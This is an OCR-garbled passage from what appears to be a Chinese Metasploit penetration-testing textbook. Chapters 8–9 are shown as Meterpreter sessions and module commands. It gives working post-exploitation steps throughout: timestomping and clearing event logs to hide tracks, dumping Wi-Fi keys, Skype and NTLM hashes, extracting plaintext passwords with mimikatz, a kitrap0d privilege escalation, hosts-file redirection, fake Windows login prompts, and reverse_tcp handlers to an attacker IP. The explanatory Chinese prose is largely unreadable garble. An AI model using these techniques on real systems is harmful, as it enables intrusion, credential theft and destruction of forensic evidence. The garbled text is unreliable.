meterpreter > timestomp -z "11/26/1999 15:15:25" creditcard.txt
11/26/1999 15:15:25

[*] Setting specific MACE attributes on creditcard.txt

XA SRR ) I E] 2 2016-06-19 23:23:15, 7] LUH FI S48 - 285X AN aME S an - s
AY1999-11-26 15:15:25, FIHIRE B X B RINE M .

meterpreter > timestomp -v creditcard.txt

Modified : 1999-11-26 15:15:25 +0530
Accessed : 1999-11-26 15:15:25 +0530
Created : 1999-11-26 15:15:25 +0530

Entry Modified: 1999-11-26 15:15:25 +0530
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?ﬂl‘]ﬂé’%ﬁiﬁﬁtimestom A I T creditcard txt 3CH: . AT LLANTT BT~ S -0
FE—A SR A e ) BT S o

meterpreter > timestomp -b creditcard.txt
[*] Blanking file MACE attributes on creditcard.txt
meterpreter > timestomp -v creditcard.txt

Hodified : 2106-02-07 11:58:15 +0530
Accessed : 2106-02-07 11:58:15 +0530
Created : 2106-02-07 11:58:15 +0530

Entry Modified: 2106-02-07 11:58:15 +0530

9 1% t imestomp#4 7T VA 45~ RS 2 SAF 6 37 15] B 18] | 152 R TE) e B 22 B )

8.4 HtFiZiEER

MetasploitfZ it T #2501 5 12E R, BL7E L REPk e Hoh— 2 Lh A R (g A i, o
PR RRAR F O RTRA L8
8.4.1 {£ Metasploit Yt Ttk SSID 52

i fHwlan_bss_1isclbnl UK B H AR R GEMTL A TCL 4%, pemt ] LA HBRzEA T
BRAOIFIIE E 2 EEAE R, IR EPTR,

meterpreter > run post/windows/wlan/wlan_bss_list

[*] Number of Networks: 3
SSID: NJ
BSSID: e8:de:27:86:be:0a
Type: Infrastructure
PHY: Extended rate PHY type
RSSI: -80
Signal: 55

SSID: Venkatesh
BSSID: e4:6f:13:85:e5:74
Type: Infrastructure
PHY: 802.11n PHY type
RSSI: -78
Signal: 55

SSID: F-201
BSSID: 94:fb:b3:ff:a3:3b
Type: Infrastructure
PHY: Extended rate PHY type
RSSI: -84
Signal: 5

[*] WlanAPI Handle Closed Successfully

8.4.2 {#H Metasploit Y15 Wi-Fi Z5Y

BRE— AL, i Fwlan_profilefin] LIKEE H iR RS _LARAF A Wi-Fisk 65
AR B s A XA R
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|meterpreter > run post/windows/wlan/wlan_profile

Wireless LAN Profile Information
GUID: {fflc4d5c-al47-41d2-91ab-5f9dlbeeedfa} Description: Realtek RTL8723BE Wire
less LAN 802.11n PCI-E NIC State: The interface is connected to a network.
Profile Name: ThePaandu
<?xml version="1.0"7>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/vl">
<name>ThePaandu</name>

<5SIDConfig>
<SSID>
<hex>5468655061616E6475</hex>
<name>ThePaandu</name>
</SSID>
</SSIDConfig>

<connectionType>ESS</connectionType>
<connectionMode>auto</connectionfode>
<HSH>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encrypt10n>AES</encrypt10n>
OneX>false</useOneX>
</authEncrypt10n>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMater ialMd keyMaterial>
</sharedKey>
</security>
</HSH>
<NacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profil

e/v3">

TE LB 8 <name > % ] IR BRI S5 1 47, TE<keyMaterial>Hn] IFREE M2 Y
%E%o

8.4.3 FKENNARERYIER

MetasploitHT N T X4l FHFR 7 198 B UER S . ANl T T EbR RS ARG T
| $2ay oy = ﬁ%gfﬁﬁﬁget_application_list*ﬁﬁ%ﬁtﬁ@ﬁﬁ*ﬁﬁ?ﬁﬂ%, WFETR.

meterpreter > run get_application_list

Installed App11cat10ns

Name Version
Tools for .Net 3.5 3.11.50727
ActivePerl 5.16.2 Build 1602 5.16.1602

Acunetix Web Vulnerability Scanner 10.0

Adobe Flash Player 22 NPAPI

Adobe Reader XI (11.0.16)

Adobe Refresh Manager

Apple Application Support (32-bit)

Application Insights Tools for Visual Studio 2013
Arduino

AzureTools.Notifications

Behaviors SDK (Windows Phone) for Visual Studio 2013
Behaviors SDK (Windows) for Visual Studio 2013
Blend for Visual Studio 2013

Blend for Visual Studio 2013 ENU resources

Blend for Visual Studio SDK for .NET 4.5

Blend for Visual Studio SDK for Silverlight 5 3 0.40218.0
Build Tools - x86 12.0.31101
Build Tools Language Resources - x86 12.0.31101
Color Cop 5.4.3

DatPlot version 1.4.8 1.4.8
Don Bradman Cricket 14

Driver Booster 3.2 3.2

Dropbox 5.4.2
Dropbox Update Helper 1.3.27.77
Entity Framework 6.1.1 Tools for Visual Studio 2013 12.0.30610.0

LRI RI RN Z )5, Wil LIE HAR R SE Lis T4 R AR T,
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8.4.4 3KEY Skype %13
TR A B bR RS0 Fiati4 Skype, JHMetasploitHf i) Skype b sift v ISR ECE 19261 .

meterpreter > run post/windows/gather/credentials/skype

[*] Checking for encrypted salt in the registry
Salt found and decrypted
[*] Checking for config files in %APPDATA%
Found Config.xml in C:\Users\Apex\AppData\Roaming\Skype\nipun.
Found Config.xml in C: \Users\Apex\AppData\Roam1ng\Skype
[*] Parsing C: \Users\Apex\AppData\Roam1n Sk
Skype MD5 found: nipun.jaswal88:6d8d

jaswal88\

845 RENUSBERFAFEER

Metasploitfd & | — MK USBAl FH Jg 52 iisi e, 5@ & ] A A 7E H s R 40 B fii FH i 1B
BEUSBI AT, 2 HARRGH R TUSBRRGIHATE, HATRE USBBL A RVFEHERITEIL T, X
AMEHURAE A T T — R X AR AT LU A Oh 1 USBHER AT FIAE 1D

8 A & A USBHG & F Fe Seid 55 AR 09 £ %13 8., 17 Fhttp://www.slideshare.

net/the netlocksmith/defcon-212-hacking-using-usb-devices.

N HORFA R U R

meterpreter > run post/windows/gather/usb_history

[*] Running module against DESKTOP-PES021S
*1

H: Disk 4f494d44

G: Disk 3f005f

I SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffed0&000001#{53f5630d-b6bf-11d0-94
2-00a0c91efb8b}

[*] Patriot Memory USB Device

Disk lpftLastWriteTime Unknown
Manufacturer @disk.inf,%genmanufacturer; (Standard disk drives)

Class
Driver {4d36e967-e325-11ce-bfcl-08002bel0318}\0005

[*] SanDisk Cruzer Blade USB Device

Disk lpftLastWriteTime Unknown

Manufacturer @disk.inf,%genmanufacturer%; (Standard disk drives)
Class
Driver {4d36e967-e325-11ce-bfcl-08002bel0318}\0002

[*] UFD 3.0 Silicon-Power64G USB Device

Disk 1pftLastWriteTime Unknown
Manufacturer @disk. inf,%genmanufacturers; (Standard disk drives)

Class
Driver {4d36e967-e325-11ce-bfc1-08002bel0318}\0003

8.4.6 {¥F Metasploit %32t
MetasploitfE it T —ANAEHEE A SCHE a2, R E T AR BI/RIBSER 1 SO, 2]
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PUF X 86 scf . i searchand ol IS H A SCHEROTEAEME B, I E TR .

meterpreter > search -f *.doc
Found 162 results...

c:\Program Files (x86)\Microsoft 0ffice\0fficel2\1033\PROTTPLN.DOC (19968 bytes)

c:\Program Files (x86)\Microsoft 0ffice\0fficel2\1033\PROTTPLV.DOC (19968 bytes)

c:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\ProjectTemplates\CSharp
\0ffice\Addins\1033\VSTOWord15DocumentV4\Empty.doc

c:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\ProjectTemplates\CSharp
\0ffice\Addins\1033\VSTOWord2010DocumentV4\Empty.doc

c:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\ProjectTemplates\Visual
Basic\0ffice\Addins\1033\VSTOWord15DocumentV4\Empty.doc

c:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\ProjectTemplates\Visual
Basic\0ffice\Addins\1033\VSTOWord2010DocumentV4\Empty.doc

c:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\ProjectTemplatesCache\C
Sharp\0ffice\Addins\1033\VSTOWord15DocumentV4\Empty.doc

c:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\ProjectTemplatesCache\C
Sharp\0ffice\Addins\1033\VSTOWord2010DocumentV4\Empty.doc

c:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\ProjectTemplatesCache\V
isualBasic\0ffice\Addins\1033\VSTOWord15DocumentV4\Empty.doc

c:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\ProjectTemplatesCache\V
isualBasic\0ffice\Addins\1033\VSTOWord2010DocumentV4\Empty.doc

c:\Program Files (x86)\Microsoft Visual Studio 12.0\VB\Specifications\1033\Visual Basic
Language Specification.docx (683612 bytes)

c:\Program Files (x86)\Microsoft Visual Studio 12.0\VC#\Specifications\1033\CSharp Lang
uage Specification.docx (791626 bytes)

c:\Program Files (x86)\ResumeNaker Professional\DATA\Federal\Federal Forms Listing.doc
(30720 bytes)

8.4.7 {£H clearev & ERBRAZ LHBZE
Ul clearevin 2GR BAr R4 LRI RTA H &S

meterpreter > clearev

[*] Wiping 13075 records from Application...
[*] Wiping 16155 records from System...

[*] Wiping 26212 records from Security...

A BRI PGETRT], SNRARGZM Bir 250 B H A&, A es | n] Do) s BAER At
k%ﬁﬁﬁéﬁ’fﬁ IL4\1/\/\ j]l] [—]K 'fﬂ%hﬁo MetaSploitEP % 44\FH7T'€5LI\IE El PTANY E’J*iﬁ%ﬁlj[:
event_manager, AU ER.

meterpreter > run event_manager -i

[*] Retriving Event Log Configuration

Event Logs on System

Name Retention Maximum Size Records
Application Disabled 20971520K 6
Cobra Disabled 524288K 51
HardwareEvents Disabled 20971520K 0
Internet Explorer Disabled K 0
Key Hanagement Service Disabled 20971520K 0
OAlerts Disabled 131072K 34
ODiag Disabled 16777216K 0
0Session Disabled 16777216K 426
PreEmptive Disabled K 0
Security Disabled 20971520K 3
System Disabled 20971520K 1
Windows PowerShell Disabled 15728640K 169

T2V Metasploit 1 1) = 2 R I HE
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8.5 Metasploit FEIE LRI FEINRE
ARE WG BERY, ISR S Metasploiti i — 28 =5 902 1B HE

8.5.1 H Metasploit I2F4X R

EB BT, % SBAVinZREEN, BTz Thashdumpfi 20, AIRES
WA SR

meterpreter > hashdump
[-]1 priv_passwd_get_sam hashes: Operation failed: The parameter is incorrect.

TERXAEOL T, ARIAE M Hlget sy stemfiy SR RFPAIR, w2 BENUNTHHR

meterpreter > getuid

Server username: WIN-SWIKKOTKSHX\mm

meterpreter > getsystem

[-1 priv_elevate_getsystem: Operation failed: Access is denied. The following wa
s attempted:

[-1 Named Pipe Impersonation (In Memory/Admin)

[-1 Named Pipe Impersonation (Dropper/Admin)

[-1 Token Duplication (In Memory/Admin)

{H R B R E ZE A B E’jt%@ﬁa}:“{é% BARHOR S AR = Bl o,
1] A9 7 78 J2 7E Windows Server 2008 SP1#E R G A TRY, Hh i AR Bt T BRI
AT B 5E 28 BAR .

msf exploit(ms16_015_kitrap8d) > show options
Module options (exploit/windows/local/ms10_015_kitrap0d):

Name Current Setting Required Description

SESSION yes The session to run this module on.

Exploit target:

Id Name

0 Windows 2K SP4 - Windows 7 (x86)

msf exploit(ms10_015_kitrapfd) > set SESSION 3
SESSION => 3
msf exploit{ms18_015_kitrapfd) > exploit

[*] Started reverse TCP handler on 192.168.10.112:4444
[*] Launching notepad to host the exploit...
Process 1856 launched.
[*] Reflectively injecting the exploit DLL into 1856...
[*] Injecting exploit into 1856 ...
[*] Exploit injected. Injecting payload into 1856...
[*] Payload injected. Executing exploit...
Exploit finished, wait for (hopefully privileged) payload execution to compl|
ete.
[*] Sending stage (957487 bytes) to 192.168.10.109
[*] Meterpreter session 4 opened (192.168.10.112:4444 -> 192.168.10.109:49175) a|
t 2016-07-10 14:09:42 +0530

|meterpreter > I
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e G, BA1#i fHexploit/windows/local /ms10_015_kitrap0dB s
THTHEGIRER, IR T Sm PO A BR8Pk Hgetuiam AR i A PR

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sy51nfo

Computer WIN-SWIKKOTKSHX

0S : Windows 2008 (Build 6001, Service Pack 1).
Architecture 1 x86

System Language : en_US

Domain : WORKGROUP

Logged On Users : 4

Heterpreter : x86/win32

MC AT T RGGAE AR, AT LATE A bR R 58 AR T .

H #kitrap0dis AL S 89 # %13 8, %5 1l https://technet. microsoft.com/en-us/
library/security/ms1-15.aspx.

iz Thashdumpfiia, KX MEHUE R IER TAE,

meterpreter > hashdump

Administrator:500:aad3b435b51404 eeaad3b435b51404ee:01c7141171b670ce8T719F2d07812
470:::
Guest:501:aad3b435b51404ecaad3b435b51404ee:31d6cfe0dl6ae931b73c59d7e0c089ch: : :
mm: 1000: aad3b435b51404eeaad3b435b51404ee: 31d6cfeldl6ae931b73c59d7e0c089c0: : :

TR RN EHAS T R

8.5.2 (#H mimikatz E=¥BACZRL

mimikat z j& Metasploit 1 — /> T BE B o 58 K A BfF I T2 5., & AT DA B 432 M Isass Iz 55 48 X
Windows HRZS R i BR B IR K-S BRSO3 S . B8R 2 FTFRAT] B 4538 i pass-the-hash i i G 7 (H,
AHLTEAR Z B3 18 B A ST RS — 7 1Y, HIE T 85 AT LA 4 Kt e . 55 4MEHTTP
AT AR B NIEREHE, WFREHESR (ARG A E ).

ul A AE [ Metasploit F i Ff 1oad mimikatz i 2 2 Amimikatz e, 2Z 50l L6
mimikatziER B kerberosfiy 2K AT HENT

meterpreter > kerberos

Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials

AuthID Package Domain User Password
0;999 NTLM WORKGROUP WIN-SWIKKOTKSHX$

0;996 Negotiate WORKGROUP WIN-SWIKKOTKSHX$

0;34086 NTLM

0;387971 NTLM WIN-SWIKKOTKSHX mm

0;997 Negotiate NT AUTHORITY LOCAL SERVICE

0;995 Negotiate NT AUTHORITY IUSR

0;137229 NTLM WIN-SWIKKOTKSHX Administrator Nipun@l23

0;257488 NTLH WIN-SWIKKOTKSHX Administrator Nipun@l23
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8.5.3 {#F Metasploit 1T ERIF

Xt T, Metasploitibs 24t T WUR H AR EHLIR A DI AE
Uik, 0T DAL F bR b 28 2 R a . FRATATASES Y FAR AL LB M Es 80, 4R
JREFESIR AP —A

‘:I:'_L'X

RIR

meterpreter > sniffer_interfaces

1 - 'VMware Virtual Ethernet Adapter for UMnet8' ( type:0 mtu:1514 usable:true dhcp:t
rue wifi:false )

2 - 'Realtek RTL8723BE Wireless LAN 802.11ln PCI-E NIC' ( type:0 mtu:1514 usable:true

dhcp: true wifi:false )

3 - 'VMware Virtual Ethernet Adapter for VMnetl' ( type:0 mtu:1514 usable:true dhcp:t
rue wifi:false )

4 - 'Microsoft Kernel Debug Network Adapter' ( type:4294967295 mtu:0 usable:false dhc
p:false wifi:false )

5 - 'Realtek PCIe GBE Family Controller' ( type:0 mtu:1514 usable:true dhcp:true wifi
:false )

6 - 'Microsoft Wi-Fi Direct Virtual Adapter' ( type:0 mtu:1514 usable:true dhcp:true

wifi:false )

7 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:fa
1se )

8 - 'SonicWALL Virtual NIC' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:fals

e )

9 - 'TAP-Windows Adapter V9' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )

10 - 'VirtualBox Host-Only Ethernet Adapter' ( type:0 mtu:1518 usable:true dhcp:false
wifi:false )

11 - 'Bluetooth Device (Personal Area Network)' ( type:0 mtu:1514 usable:true dhcp:tr
ue wifi:false )

FARENL A 2R 0 o BEAEICEL M 251 1 B R ShmRIRIIRE, X MZ5%E HAYID A2,
LUNES PN

meterpreter > sniffer_start 2 1000

[*] Capture started on interface 2 (1000 packet buffer)
meterpreter > sniffer_dump

[-]1 Usage: sniffer_dump [interface-id] [pcap-file]
meterpreter > sniffer_dump 2 2.pcap

[*] Flushing packet capture buffer for interface 2...
[*] Flushed 1000 packets (600641 bytes)

[*] Downloaded 087% (524288/600641)...

[*] Downloaded 100% (600641/600641)...

[*] Download completed, converting to PCAP...

[*] PCAP file written to 2.pcap

fiAsniffer_start 2 10002 Ja s LR M55 T L FMRERTIRE, Hrp23IR oLk MR
ID, 10002ZZ P IX KN, HifHsniffer_dumpmr 2 o] DU N #pcap X WRAREA B AE
peap SCAFHRIKAE T MR R R AL, wT LU R A0 BB/ B i 2 78 Wireshark H S 7 o

nmot@ln:-# wireshark 2.pcap |

TEpeap XA R, Hh A0S TDNSE ) . HTTPIESRA LA SRR
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Filter: | http ! Expression... Clear Apply Save
No. Time Source Destination Protocol 'Length Info
20 0.000000 117.18.237.29 192.168.10. 105 0CsP 842 Response
130 2.0000Q0 202.125.152.245 192.168.10. 105 1299 HITP/1.1 200 OK (text/html)
170 3.000000 52.84.101.29 192.168.10. 105 615 HTTP/1.1 200 OK (GIFS9a)
209 4.000000 202.125.152.245 192.168.10. 105 1417 HTTP/1l.1 200 OK (text/css)
364 £.000000 202.125.152.245 639 HITP/1.1 200 OK (1mage/x-1con)
414 7.000000 54.79.123.29 192.168.10. 105 1038 HTTP/1.1 200 OK (text/css)
426 7.000000 54.79.123.29 192.168.10. 105 497 HITP/1.1 301 Moved Permanently (text/html)
471 B8.000000 54.79.123.29 192.168.10. 105 761 HTTP/1.1 200 OK (text/javascript)
487 9.000000 96.17.182.48 192.168.10. 105 224 Response
492 5.000000 96.17.182.48 192.168.10. 105 224 Response
543 14.000000 202.125.152.245 192.168.10. 105 528 HTTP/1.1 302 Found
573 15.000000 202.125.152.245 192.168.10. 105 1493 HITP/1.1 200 OK (text/html)
588 15.000000 202.125.152.245 192.168.10. 105 302 HTTR/1.1 200 OK (text/javascript)
657 16.000000 192.168.10.1 239.255. 255. 250 367 NOTIFY * HITP/1.1
665 17.000000 192.168.10.1 239.255. 255. 250 376 MNOTIFY * HTTR/1.1
673 17.000000 192.168.10.1 239.255. 255. 250 439 NOTIFY * HITR/1.1
677 17.000000 182.168.10.1 239.255. 255. 250 376 NOTIFY * HTTR/1.1
678 17.000000 192.168.10.1 239.255. 255. 250 415 NOTIFY * HTTR/1.1
681 17.000000 192.168.10.1 239.255. 255. 250 376 NOTIFY * HTITP/1.1
683 17.000000 192.168.10.1 239.255. 255. 250 435 NOTIFY * HTTR/1.1
684 17.000000 192.168.10.1 239.255. 255. 250 429 NOTIFY * HITP/1.1
817 33.000000 192.168.10.101 239.255. 255. 250 355 MNOTIFY * HTTR/1.1
818 33.000000 192.168.10.101 239.255. 255. 250 355 NOTIFY * HITR/1.1
815 34.000000 192.168.10.101 239.255. 255. 250 358 NOTIFY * HTTR/1.1
820 34.000000 192.168.10.101 239.255. 255. 250 358 NOTIFY * HTTR/1.1

8.5.4 {£ Metasploit ¥t host STHIFHITEN

A LUE X H AR LA host U AT AR fa X0 ——Ki 45 /2 14 10 45 B i 2] B br 3
HLAhost LA H

DR Al i FMetasploit SEBA X host SAFAYHE A

msf exploit(handler) > use post/windows/manage/inject_host

msf post(inject host) > show options

Module options (post/windows/manage/inject_host):

Name Current Setting Required Description

DOMAIN yes Domain name for host file manipulation.
Ip yes IP address to point domain name to.
SESSION yes The session to run this module on.

msf post(inject host) > set DOMAIN www.yahoo.com
DOMAIN => www.yahoo.com

msf post(inject_host) > set IP 192.168.10.112

IP => 192.168.10.112

msf post(inject host) > set SESSION 1

SESSION => 1

msf post(inject_host) > exploit

[*] Inserting hosts file entry pointing www.yahoo.com to 192.168.10.112..

Done!
[*] Post module execution completed

n]LLE #IFRATE S lﬁl'—JP1ﬁJEHTpost/w1ndows/manage/1nject _hostfEYL, FAEB R
hostSCAEFR AN T —A~25 H o BUERE B Y HAnikE Vil yahoo.comft 2 & A AT 4.
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@ Apache2 Debian Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server

installed at this site is working properly. You should replace this file (located at /var/www
/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

FUAR EHLA SE R e (8] 1 A THEEMRS &, XIS & s i rE F s,

8.5.5 ERZFBMHNEHEO

Metasploitfd 7 | — M FRPE SRR fa ] IR, BT DI — M 0, XAEH
MR Windows R GE IIAIESL G — A —FE . XF TR, XA D2 smbIvERy, HAY
HPIS THP 2RSS Z G REARRIER TAE. B AFRATAT AR XA B H AR IOH P A8 sk
FEIE, A LU# Hpost /windows /gather/phish_login_passMHOR5EMXMES . HiBsfTiX
B EHE, BAs Eaisssil— DR E PR s H .

=7

Recyde Bin

2

Videopower

Please enter your credentials,

User name: WIN-SWIKKOTKSHX\mm | % J

Password:

Drstat| | @ | £ rocaloisk(c) | 7 untitled - notepad Ay 220eM
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MEES TP AN S, AT B BIUASCATE R E R, TR ETR

meterpreter > run post/windows/gather/phish_windows_credentials
PowerShell is installed.

[*] Starting the popup script. Waiting on the user to fill in his credentials...
#< CLIXML

UserName Domain Password

mm WIN-SWIKKOTKSHX Nipun@l23

WAV M G2 MPAS T BArr s 5 8 . IEUWNEARZEIIE R, Metasploitht it 7 K T
JEBIERIIERE, M EASM TH (Fllininikatz ) FARHBHADNE TAERGE

8.6 Mg

AREEFRANA TR B, ARSI RS MR 2 &N 5. b, a1 1
WindowsFR5E H4 TR 1975 1k Al R

FET—h, RN T AR IS BRI, U MetasploitHTe T S A M P 557
15, I HA AR B AR B L.
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Q hasvse.

Q SLEEBEMH A k.
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9.1 pushm F popm 6 S HIFER %

Metasploit P 2L T AT REN 58 K 144 : pushmBllpopm, i flpushmiz 4 W] L 45T
B AR Wpopm i Hh?ﬁ%]ﬁjﬁﬂ’ﬁiﬁ%ﬁitﬂ 7f A XA T LA F R A it
B, T2 i LAy A F DL IAAE T 0] A SE
PUMEERRAE, DTSRI 415“% Tﬁﬁﬂ‘] st ) A 7

THERE E— G5t ATEAENR— G A 280 SR ik 5525, 12X
[ RGBT RN R8BI . 8 T BEXT 4 5 MR S5 A AR b T X AP, FRATE T 2 —A>
REFE X IS B B R 2 [ P U3 AL o ZEX A 00 T lnT U Hpus hmfllpopmfi 4> o FATTHT
DU FH— A2 B R 55 #0700, AR5 XA AR, e iz
JE A —MBdE Y, I AR AT S Z 5, AT LA il popmdir 244 55 — sk
(SRR Z BT T A A ) MR
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SN ER T EZ N

msf exploit(psexec) > pushm

msf exploit(psexec) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.10.112

LHOST => 192.168.10.112

msf exploit(handler) > set LPORT 8080

LPORT => 8080

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.10.112:8080
[*] Starting the payload handler...

M EEBTLIES, T8 218 Hpushnfi 2B psexectiH i AR, I3 T exploit/
multi/handlerfiik . Xl Fhandler5¢ A AE Z )5, BT DA Hpopmdir 4 M AR i H- 1R in 2%
psexectEl, WTFEIRR,

msf exploit(handler) > popm
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting
Required Description

RHOST 192.168.10.109
yes The target address
RPORT 445
yes Set the SMB service port

SERVICE_DESCRIPTION
no Service description to to be use
d on target for pretty listing
SERVICE_DISPLAY_NAME

no The service display name
SERVICE_NAME
no The service name
SHARE Adm1nistrator$
The share to connect to, can be
an admin share (ADMINS, C$ .) or a normal read/write folder share
SHBDomain
no The Windows domain to use for au
thentication
SMBPass aad3b435b51404eeaad3b435b51404ee:01c714F17
1b670ce8f719f2d07812470 no The password for the specified u

sername

MAEHAL i B psexecBRZATATICE —FE, FTRLJCHH I B X M H AT 1o

9.2 1loadpath S HI{ER

TETT K Metasploithi bl i s, 75 BORARTEL B E AEXT N A9 02830 dr . ANid— H Metasploit
BT, A ARSI, I AR B B A e EE TR X AR U R ) SO,
TEBGXABRE], 7T LI Metasploit@] #E—A4~ 32 H ¢ Z AMIANT H 58, SR 5 X NFEB E 9o
I, IR Y Metasploit BT B, 2 SCIIBHUEUA S i 1

TE N BIRGI, FA TR A BBERE H 2] T — LT S 18 A S JemodsH o o4 T REAEH]
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Metasploit F s P HIREER , 3075 Z1lmodsSCIFR Y H 5451 5 Metasploitf H SR Z5H 58 A A], iX
R IR A A Metasploit H SRESH R HERLL I 30 $ T R B TEMetasploit LAY F E L
BEAR, AR T A TR o

Desktop mods exploits miscl

Apex_Wordpress_ easy_chat_2point2. ftp_version_ server_scanner_0.2.

Detector.rb b scanner_final.rb rb

1 FEA, FATE A 2 XA E ) T 5 Hmods U3¢ it exploits/misc H 57 B H & i
7# A F|MetasploitZ J& , T LI# Fexploit/misc S AYFEER T . FIHEIAIELIRIZS ) T 7E Metasploit
Hn R AR BN 11

sf > loadpath /root/Desktop/mods

Loaded 4 mecdules:
4 exploits

FME LW T PrAB, BEPORAG A — T X LEBHRAE TR 7EMetasploit IE # T ],
KA i AT BT

msf > use exploit/misc/

use exploit/misc/Apex Wordpress Detector
use exploit/misc/easy chat 2point2

use exploit/misc/ftp version scanner final
use exploit/misc/server_scanner 0.2

M EETTLIEL, A ) A 2 RBER T LITEMetasploit 1 {# . [H LG8 Metasploit B £
DR, B USSR AN 2%, i H AT DIARn#E 2 AR ing 20k, N4 1T B0k T A A
Hedg il 248 H sy a]

9.3 (¥ reload. edit Fl reload_all S MRFLITFE

TEREH I R BB, FRATTAT RERT ZEX B T — IR S — R AR, BAE BUBT B i RS 225G P4
Metasploit, XA A43FERTIRLE N GEAFIRM . I — 1~ g Lk Metasploitf R It & A 15 fii £ |
POE A BRIALE . FrEMetasploitf fit T HAG R REMreload. editMflreload_al 14,
BRI R B2 5 T8 2 . RATAT LMl Hledi cin 2 sh & Bk Metasploit 1 R, JF7E
AN KM Metasploit i AL T Freloadfi S BT EA G IOBIH, Qnsfxs 2Bt T8
e, #EAT LA fEMetasploitf i Freload_allfigd—IRPEEA T AR,
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NHERFE— B

'Payload’ =
{
'Space’ => 448f
'DisableNops’ => true,
'BadChars ' => "\x00\x0a\x0d",
'PrependEncoder' => "\Xx81\xcM\x5M\xF2\xFff\xff" # Stack adjustment # add esp, -3500
}l

1 L EE T, AT A T editfiv A Xtexploit/windows/ftp 3432 T ) freefloatftp_user.rb
BIBEMARIAT TIEMS . AP Do 8 R/ NN4AME R 448, SRIGIRAFIXAIIA . 32 T ok H
Bl Areloadfir?, HHiMetasploithER (i IEACASRITT, XA R BIFR

msf exploit(freefloatfip user) > edit

[*] Launching /usr/bin/vim /usr/share/metasploit-framework/modules/exploits/windows/ftp/freefloatftp_user.rb
msf exploit(freefloatfip user) > reload

[*] Reloading module...

msf exploit(freefloatfip user) > I

il reloadfir 2L G I FHBM LT 5587 3liMetasploit T .

v,

F 509 % %42 8, 35 Flhttp://www tutorialspoint.com/unix/unix-vi-editor.htm

9 JEMetasploit P 4% A edi t 44 B A VIS 35 B 1B 1T % 3. A X V1%
#a

9.4 FIFMAMERTE

Metasploit i LA iz B¢ IR IAS S 30 A gl A—— (8 ISR IA 7T LA G 26 T2l i e, Seailik
iRy A i E, T T i B H e 0 AN X o 28 g T AE 2% AR R ]

AT IREIAAG IR Fah @A S Hnaker cfir S BIEIAIAS . F-AS N HEE i 1] i
Hmakercfiidr, B XAERT DIkl AR . makercim 2 Z Bk ALt i TG a2 &R RAE 3 T
—AScE, ATRME H resourcefir &R XA SCH:, FEIP A H T —A R,

imsf > use exploit/multi/handler

imsf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

imsf exploit(handler) > set LHOST

set LHOST 192.168.10.112 set LHOST fe80::a00:27ff:fe55: fcfa%ethd
imsf exploit(handler) > set LHOST 192.168.10.112

LHOST => 192.168.10.112

Imsf exploit(handler) > set LPORT 4444

LPORT => 4444

imsf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.10.112:4444
[*] Starting the payload handler...

“C[-]1 Exploit failed: Interrupt

[*] Exploit completed, but no session was created.

imsf exploit(handler) > makerc

Usage: makerc <output rc file>

Save the commands executed since startup to the specified file.

imsf exploit(handler) > makerc multi_hand
[*] Saving last 6 commands to multi_hand ...




9.5 f& Metasploit P 4% # AutoRunScript 237

H AL, FRATAE a5 T 2 A Ak I (B annHOSTHILPORT ) PG 3 T — 1B
B thandler, i Amakercfiy 4B LLR X B & A7 2 — A8 E IS . FEXAN R0 R
multi_hand3CPF, FAURAE T Bl i R6 55 am4 . AR B PR (di FH s AN SR I

msf > resource multi_hand

[*] Processing multi_hand for ERB directives.

resource (multi_hand)> use exploit/multi/handler

resource (multi_hand)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

resource (multi_hand)> set LHOST 192.168.10.112

LHOST => 192.168.10.112

resource (multi_hand)> set LPORT 4444

LPORT => 4444

resource (multi_hand)> exploit

[*] Started reverse TCP handler on 192.168.10.112:4444
[*] Starting the payload handler...

i Aresourcefir S MR B4 7T L A SR IAA R ORA7 R0 A &, ATITE S Xt eI A T
HE M .

9.5 1 Metasploit F{#H AutoRunScript

Metasploiti 2 H4E T +/4rit KA aut oRunScript TE., 7] LU iS4 A show advancedfir S
AAutoRunScript I, ©H LASEIL A SR EEEINL, REEPuiT—Uol il LR X B br
AR . FeATT LUl 3%l Aset AutoRunScript [script-name] ¥ B AutoRunScript
LIS, AT ATEGS IR IAS o B s, 5 7] DL — Mk B 2h 58 AR B E RS B m B
Jﬁﬁ_’fiﬁﬁmulti_scriptﬂ]multi_console_commandﬂ‘ﬁﬁ%, AutoRunScripti{fﬁU#?ﬁ(:@ﬁ:{
ZANEBBEIA, THRE—ME TPAARRRG], — AT siergzEmit, 55—
T AR EEEN, T EPR.

GNU nano 2.2.6 File: multi script

run post/windows/gather/checkvm
run post/windows/manage/migrate

s AR — B T checkvm (KA AR REUE B TT1E BB AL ) Mimigrate
O B8y 1A% 1 22 R R ) B A i ibp e B E A, XA/ R ok
BRXMBEMSIEA N

GNU nano 2.2.6

